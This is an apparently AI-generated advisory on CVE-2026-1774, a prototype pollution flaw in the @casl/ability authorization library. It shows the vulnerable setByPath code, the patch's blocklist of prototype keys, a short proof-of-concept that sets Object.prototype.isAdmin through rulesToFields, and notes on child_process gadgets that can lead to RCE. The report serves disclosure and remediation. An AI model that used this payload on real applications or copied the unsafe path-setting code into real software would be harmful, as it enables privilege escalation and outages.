CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-1774
9.80.02%

The King's Keys: Dethroning @casl/ability via Prototype Pollution

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 12, 2026·6 min read·33 visits

PoC Available

Executive Summary (TL;DR)

The bouncer is drunk. @casl/ability versions < 6.7.5 contain a flaw in the `setByPath` utility that allows writing to `__proto__`. This enables attackers to pollute the global Object prototype, turning a library meant for restricting access into a tool for granting total control.

A critical Prototype Pollution vulnerability in the popular authorization library @casl/ability allows attackers to corrupt the Object prototype. By supplying malicious rule conditions, an attacker can bypass security checks, cause Denial of Service, or potentially achieve Remote Code Execution (RCE) in Node.js environments.

The Hook: Who Authorizes the Authorizer?

You know what's tragically ironic? Authorization libraries are supposed to be the digital bouncers of your application. They stand at the function calls, checking IDs, ensuring 'User A' doesn't touch 'Resource B'. They are the trusted gatekeepers. But what happens when the bouncer leaves the back door propped open with a brick? That is CVE-2026-1774.

CASL (@casl/ability) is the go-to isomorphic library for handling permissions in the JavaScript ecosystem. It's elegant, powerful, and apparently, until recently, fatally trusting of input. The vulnerability lies deep within the extra module, specifically in how it parses field paths.

If you are using this library to parse user-defined rules—common in multi-tenant SaaS apps where admins define permissions—you aren't just vulnerable. You are handing attackers a loaded gun and pointing it at your own foot. This isn't just a bypass; it's a full-system compromise waiting to happen via Prototype Pollution.

The Flaw: A Classic Case of Recursive Naivety

The vulnerability hides in a utility function called setByPath. Developers love these little helpers. They take a string like 'user.address.zip' and magicaly hydrate a nested object structure. It saves time. It feels clean. It's also a minefield if you don't watch where you step.

The logic inside setByPath uses a .reduce() loop to traverse the object based on the dot-notation string. It looks innocent enough: split the string, walk the object, create properties if they don't exist. The fatal flaw? It didn't care what property it was walking.

When the function encounters the forbidden token __proto__, it doesn't stop. It treats it like any other key. It traverses up the prototype chain, setting the accumulator reference to Object.prototype. Once the loop lands there, the next key in the path is written directly to the global prototype. In JavaScript, modifying Object.prototype is like poisoning the town well—everyone who drinks from it gets sick. Every object created thereafter will inherit your malicious property.

The Code: The Smoking Gun

Let's look at the diff. This is where the developer realized they messed up. The vulnerability existed because the code blindly assigned values to whatever key was in the path array.

The Vulnerable Logic:

// The code that broke the world
export function setByPath(object: AnyObject, path: string, value: unknown): void {
  let ref = object;
  const keys = path.split('.');
 
  // No validation. Just vibes.
  ref = keys.reduce((res, prop) => {
    res[prop] = res[prop] || {};
    return res[prop] as AnyObject;
  }, object);
 
  ref[lastKey] = value;
}

The Fix (v6.7.5): In commit 39da920ec1dfadf3655e28bd0389e960ac6871f4, the maintainers added a blocklist. It's not the most elegant solution (blocklists rarely are), but it stops the immediate bleeding.

// The sanity check
const FORBIDDEN_PROPERTIES = new Set(['__proto__', 'constructor', 'prototype']);
 
export function setByPath(object: AnyObject, path: string, value: unknown): void {
  // ...
  ref = keys.reduce((res, prop) => {
    // If the attacker tries to climb the prototype chain, we just ignore them.
    if (FORBIDDEN_PROPERTIES.has(prop)) return res;
    
    res[prop] = res[prop] || {};
    return res[prop] as AnyObject;
  }, object);
  // ...
}

> [!NOTE] > While this fixes the specific gadget in setByPath, it serves as a reminder: anytime you accept a key/path from a user and use it to access an object, you are playing with fire.

The Exploit: Promoting Yourself to God Mode

So, how do we weaponize this? The vulnerable function is often triggered via rulesToFields(). This is used to convert CASL rules into database queries (like MongoDB criteria). If your application allows users to store or define their own permissions (e.g., "I want to allow access to Posts where condition X meets Y"), you are cooked.

Here is a realistic attack chain:

  1. Recon: The attacker notices the API accepts a JSON blob for permission rules.
  2. Weaponization: They craft a rule condition that targets the prototype.
  3. Execution: The server parses the rule using CASL to validate it or convert it to a DB query.

Proof of Concept:

import { rulesToFields } from '@casl/ability/extra';
import { defineAbility } from '@casl/ability';
 
// The Trojan Horse
const maliciousAbility = defineAbility((can) => {
  // "I can read Posts if... oh, by the way..."
  can('read', 'Post', { 
    '__proto__.isAdmin': true,
    '__proto__.toString': 'Checking permissions... JK broken.' 
  });
});
 
// The trigger
rulesToFields(maliciousAbility, 'read', 'Post');
 
// The Verification
if (({}).isAdmin) {
  console.log("pwnd: access granted to everyone.");
}

Once Object.prototype.isAdmin is true, any subsequent check in your code like if (user.isAdmin) might accidentally return true if the user object doesn't have its own isAdmin property. You just promoted every user in the database to Administrator.

The Impact: Why 9.8?

You might wonder why this gets a near-perfect 9.8 score. "It's just adding properties to objects," you say. Wrong. In Node.js environments, Prototype Pollution is often a stepping stone to Remote Code Execution (RCE).

There are known "gadgets" in popular libraries (like generic template engines, child_process spawning logic, or argument parsers) that look for specific properties on objects. If they don't find them, they check the prototype. By polluting Object.prototype, an attacker can inject malicious configurations into unrelated system calls.

For example, polluting shell, env, or execPath can trick child_process.spawn into executing arbitrary binaries. Even without RCE, overwriting toString or valueOf will almost certainly crash the application (DoS), causing a complete outage.

The Fix: Patch It or Perish

If you are running @casl/ability versions 2.4.0 through 6.7.4, you need to update immediately. Version 6.7.5 is the patched release. Go check your package-lock.json right now. I'll wait.

Remediation Steps:

  1. npm install @casl/ability@latest
  2. Audit your codebase for any other custom recursive merge or set functions. They are everywhere.
  3. Consider using Map instead of Object for dictionaries where keys are user-controlled.

If you cannot upgrade for some reason (legacy constraints?), you can try to mitigate this at the runtime level by freezing the prototype early in your application boot process:

// The nuclear option
Object.freeze(Object.prototype);

Be warned: this might break other libraries that legitimately modify the prototype (though they shouldn't be doing that anyway).

Official Patches

Stalniy (CASL)Official patch commit on GitHub

Fix Analysis (1)

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
0.02%
Top 95% most exploited

Affected Systems

@casl/ability < 6.7.5Node.js applications using CASL for dynamic permission rulesFrontend applications storing CASL rules in local state

Affected Versions Detail

Product
Affected Versions
Fixed Version
@casl/ability
Stalniy
>= 2.4.0 < 6.7.56.7.5
AttributeDetail
CWE IDCWE-1321
Attack VectorNetwork
CVSS Score9.8 (Critical)
EPSS Score0.00022 (Low Probability)
Exploit StatusPoC Available
ImpactRCE / DoS / Auth Bypass

MITRE ATT&CK Mapping

T1203Exploitation for Client Execution
Execution
T1068Exploitation for Privilege Escalation
Privilege Escalation
T1499Endpoint Denial of Service
Impact
CWE-1321
Prototype Pollution

The application does not properly control which attributes can be modified in the prototype of an object, allowing an attacker to manipulate the prototype chain.

Known Exploits & Detection

GitHubPatch includes regression test case serving as PoC

Vulnerability Timeline

Fix committed by maintainer
2025-12-17
CERT/CC notified
2025-12-23
CVE Published
2026-02-10

References & Sources

  • [1]CASL GitHub Issues
  • [2]NVD CVE-2026-1774

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.